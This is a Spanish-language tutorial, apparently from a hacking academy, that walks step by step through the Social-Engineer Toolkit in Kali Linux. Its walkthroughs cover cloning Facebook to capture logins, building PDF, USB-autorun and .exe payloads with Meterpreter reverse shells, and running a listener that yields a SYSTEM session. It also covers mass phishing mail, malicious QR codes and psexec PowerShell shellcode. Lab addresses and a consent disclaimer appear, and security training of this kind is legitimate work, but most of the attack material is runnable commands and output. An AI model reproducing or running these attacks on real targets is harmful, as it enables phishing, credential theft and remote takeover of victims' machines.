Social-Engineer Toolkit (SET) es una herramienta de código abierto diseñada para pruebas de ingeniería social. Fue creada por TrustedSec y está integrada en Kali Linux. Permite ejecutar una variedad de ataques, como phishing, clonación de sitios web, explotación de redes sociales, etc.
Nota: Este tipo de técnicas son muy invasivas, ya que vamos a realizar ataques de phishing para conseguir datos sensibles como la ubicación de una persona, por lo que no podemos utilizar estas técnicas sin un consentimiento o aprobación por parte del objetivo
Instalación y ejecución
Social Egineering Tookit viene preinstalado en Kali Linux, pero si no tienes instalado, puedes instalarlo con:
sudo apt update && sudo apt install set
sudo setoolkit
Aparecerá un menú interactivo con múltiples opciones.
Menú Principal de SEToolkit
Cuando inicias SET, verás un menú con varias opciones:
Select from the menu:
1) Social-Engineering Attacks
2) Penetration Testing (Fast-Track)
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
6) Help, Credits, and About
99) Exit the Social-Engineer Toolkit
set>
Cada opción tiene submenús con funcionalidades específicas. Vamos a explicar cada una con un caso práctico.
1. Social-Engineering Attacks
Es el módulo principal y más utilizado en SET. Incluye los siguientes ataques:
Website Attack Vectors
Permite clonar sitios web y capturar credenciales mediante páginas falsas.
Caso Práctico: Clonar Facebook para capturar credenciales
Nota: Si la web que clonamos es https las contraseñas estarán encriptadas. Una opción para evitar esto sería usar las plantillas que incluye setoolkit por defecto en vez de el site cloner.
Spear-Phishing Attack Vectors
Permite crear correos electrónicos falsos con archivos adjuntos maliciosos.
Caso Práctico: Enviar un PDF malicioso a la víctima
Seleccionamos un tipo de archivo (por ejemplo un PDF):
13) Adobe PDF Embedded EXE Social Engineering
Podemos usar un pdf que tengamos en nuestra máquina o unar un blank pdf:
[-] Default payload creation selected. SET will generate a normal PDF with embedded EXE.
1. Use your own PDF for attack
2. Use built-in BLANK PDF for attack
Seleccionamos un payload:
set:payloads> 2
1) Windows Reverse TCP Shell Spawn a command shell on victim and send back to attacker
2) Windows Meterpreter Reverse_TCP Spawn a Meterpreter shell on victim and send back to attacker
3) Windows Reverse VNC DLL Spawn a VNC server on victim and send back to attacker
4) Windows Reverse TCP Shell (x64) Windows X64 Command Shell, Reverse TCP Inline
5) Windows Meterpreter Reverse_TCP (X64) Connects back to the attacker (Windows x64), Meterpreter
6) Windows Shell Bind_TCP (X64) Execute payload and create an accepting port on remote system
7) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter
Para este ejemplo usaremos la opción:
2) Windows Meterpreter Reverse_TCP
Seleccionamos la IP y puerto (por defecto localhost:443):
set> IP address or URL (www.ex.com) for the payload listener (LHOST) [192.168.1.181]:
set:payloads> Port to connect back on [443]:
[-] Defaulting to port 443...
[*] All good! The directories were created.
[-] Generating fileformat exploit...
[*] Waiting for payload generation to complete (be patient, takes a bit)...
[*] Payload creation complete.
[*] All payloads get sent to the template.pdf directory
[*] If you are using GMAIL - you will need to create an application password: https://support.google.com/accounts/answer/6010255?hl=en
Podemos renombrar el archivo o dejarlo por defecto. Este archivo se guarda en la ruta /root/.set
┌──(root㉿kali)-[/home/kali]
└─ cd /root/.set
┌──(root㉿kali)-[~/.set]
└─ ls
exploit.pdf
También podemos usar este módulo de Metasploit como alternativa para generar PDFs maliciosos::
msfconsole
use exploit/windows/fileformat/adobe_pdf_embedded_exe
set FILENAME exploit.pdf
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 443
exploit
[*] Reading in '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'...
[*] Parsing '/usr/share/metasploit-framework/data/exploits/CVE-2010-1240/template.pdf'...
[*] Using 'windows/meterpreter/reverse_tcp' as payload...
[+] Parsing Successful. Creating 'exploit.pdf' file...
[+] exploit.pdf stored at /home/kali/.msf4/local/exploit.pdf
En este ejemplo lo moveré a /home/kali para enviarlo con un servidor local en python a una máquina Metasploitable Windows:
┌──(root㉿kali)-[~/.set]
└─ mv exploit.pdf /home/kali
┌──(root㉿kali)-[~/.set]
└─ su kali
afsh4ck@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ..
Abrimos un multi handler con Metasploit para quedarnos a la escucha:
msfconsole -q -x "use multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 192.168.1.181; set LPORT 443; run"
msf6 exploit(multi/handler) > set lhost 192.168.1.181
msf6 exploit(multi/handler) > set lport 443
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.1.181:4444
Enviamos el PDF a la víctima por email (o como queramos).
✅ Resultado: Cuando la víctima abre el PDF, se ejecuta un reverse shell hacia nuestra máquina.
Infectious Media Generator
Sirve para generar medios USB/CD con payloads maliciosos que se ejecutan automáticamente al conectarlo a un equipo.
Caso Práctico: Crear un USB con un payload para obtener una reverse shell
Seleccionamos:
1) Social-Engineering Attacks
3) Infectious Media Generator
Elegimos el tipo de vector:
1) File-Format Exploits
2) Standard Metasploit Executable
Elegimos el payload (ejemplo: Meterpreter)
Introducimos la IP y puerto del nuestro listener:
set:payloads> IP address for the payload listener (LHOST): 192.168.1.181
set:payloads> Enter the PORT for the reverse listener: 4444
[*] Generating the payload.. please be patient.
[*] Payload has been exported to the default SET directory located under: /root/.set/payload.exe
[*] Your attack has been created in the SET home directory (/root/.set/) folder 'autorun'
[*] Note a backup copy of template.pdf is also in /root/.set/template.pdf if needed.
[-] Copy the contents of the folder to a CD/DVD/USB to autorun
Copiamos los archivos generados a un USB:
┌──(root㉿kali)-[~/.set]
└─ ls
autorun payload.exe payload.options template.pdf version.lock
meta_config payloadgen set.options template.rc
┌──(root㉿kali)-[~/.set]
└─ cd autorun
┌──(root㉿kali)-[~/.set/autorun]
└─ ls
autorun.inf program.exe
Cuando la víctima conecta el USB, ejecuta el payload sin saberlo.
✅ Resultado: Accedemos a la máquina de la víctima con una sesión de Meterpreter.
Crear un Payload y Listener
Genera ejecutables maliciosos y configura un listener para capturar conexiones.
Caso Práctico: Crear un payload en .exe y recibir un Meterpreter
Seleccionamos:
1) Social-Engineering Attacks
4) Create a Payload and Listener
Elegimos el payload:
2) Windows Meterpreter Reverse TCP
Ingresamos nuestra IP y puerto y nos genera el ejecutable
set:payloads> IP address for the payload listener (LHOST): 192.168.1.181
set:payloads> Enter the PORT for the reverse listener: 4444
[*] Generating the payload.. please be patient.
[*] Payload has been exported to the default SET directory located under: /root/.set/payload.exe
set:payloads> Do you want to start the payload and listener now? (yes/no): yes
[*] Launching msfconsole, this could take a few to load. Be patient...
Nos lo genera en la ruta /root/.set/payload.exe
Compartimos el ejecutable con la víctima. En este ejemplo lo moveré a /home/kali para enviarlo con un servidor local en python a una máquina Metasploitable Windows:
┌──(root㉿kali)-[~/.set]
└─ mv payload.exe /home/kali
┌──(root㉿kali)-[~/.set]
└─ su kali
afsh4ck@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Abrimos un listener con multi handler de Metasploit:
msfconsole -q -x "use multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 192.168.1.181; set LPORT 4444; run"
✅ Resultado: Cuando la víctima ejecuta el archivo, obtenemos acceso remoto a su máquina.
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.1.181:4444
[*] Sending stage (177734 bytes) to 192.168.1.197
[*] Meterpreter session 1 opened (192.168.1.181:4444 -> 192.168.1.197:49285) at 2025-02-17 18:43:39 +0000
meterpreter > getuid
Server username: VAGRANT-2008R2\Administrator
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Mass Mailer Attack
Envía correos electrónicos masivos con phishing.
Caso Práctico: Enviar correos falsos de soporte técnico
Seleccionamos:
1) Social-Engineering Attacks
5) Mass Mailer Attack
Escribimos el mensaje con un enlace malicioso.
Enviamos el correo masivo.
✅ Resultado: Si los usuarios hacen clic, podemos obtener credenciales o redirigirlos a un exploit.
QR Code Attack Vector
Crea un QR malicioso para usarlo con ingeniería social.
set> 8
The QRCode Attack Vector will create a QRCode for you with whatever URL you want.
When you have the QRCode Generated, select an additional attack vector within SET and
deploy the QRCode to your victim. For example, generate a QRCode of the SET Java Applet
and send the QRCode via a mailer.
Enter the URL you want the QRCode to go to (99 to exit): http://10.10.10.10:80
[*] QRCode has been generated under /root/.set/reports/qrcode_attack.png
Esto nos crea un QR en PNG en la ruta: /root/.set/reports/qrcode_attack.png
┌──(root㉿kali)-[~/.set/reports]
└─ ls
qrcode_attack.png
Al abrir el QR podemos redirigir a usuarios a una URL de phising. En este ejemplo abre la web de la academia h4ckercademy.com pero podríamos usar la URL que quisiéramos:
2. Penetration Testing (Fast-Track)
Este módulo permite automatizar exploits.
Caso Práctico: Explotar una máquina Windows con MS08-067
Ingresamos la IP del objetivo, el nombre de usuario y la contraseña:
set:psexec> Enter the IP Address or range (RHOSTS) to connect to: 192.168.1.197
set:psexec> Enter the username: vagrant
set:psexec> Enter the password or the hash: vagrant
set:psexec> Enter the domain name (hit enter for logon locally):
set:psexec> How many threads do you want [enter for default]:
set> IP address or URL (www.ex.com) for the payload listener (LHOST) [192.168.1.181]:
set:powershell> Enter the port for the reverse [443]:
[*] Prepping the payload for delivery and injecting alphanumeric shellcode...
[*] Generating x86-based powershell injection code...
[*] Reverse_HTTPS takes a few seconds to calculate..One moment..
No encoder specified, outputting raw payload
Payload size: 394 bytes
Final size of c file: 1687 bytes
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[*] If you want the powershell commands and attack, they are exported to /root/.set/reports/powershell
[*] Launching Metasploit.. This may take a few seconds.
SET lanza el exploit automáticamente.
✅ Resultado: Obtenemos acceso remoto a la máquina de la víctima.
3. Third Party Modules
Permite integrar herramientas de terceros en SET.
Caso Práctico: Usar un módulo de Metasploit
Seleccionamos:
3) Third Party Modules
Ejecutamos un módulo externo.
✅ Resultado: Podemos lanzar ataques personalizados sin salir de SET.
4. Actualizar SE Toolkit
Actualiza SET a la última versión.
4) Update the Social-Engineer Toolkit
5) Update SET configuration
Conclusión
SEToolkit es una de las herramientas más poderosas para ingeniería social y auditorías de seguridad. Su uso debe ser ético y con autorización.
Si trabajas en ciberseguridad, puedes usar SET para simular ataques y educar a los usuarios sobre cómo defenderse del phishing, ataques USB y otras técnicas de ingeniería social. 🚀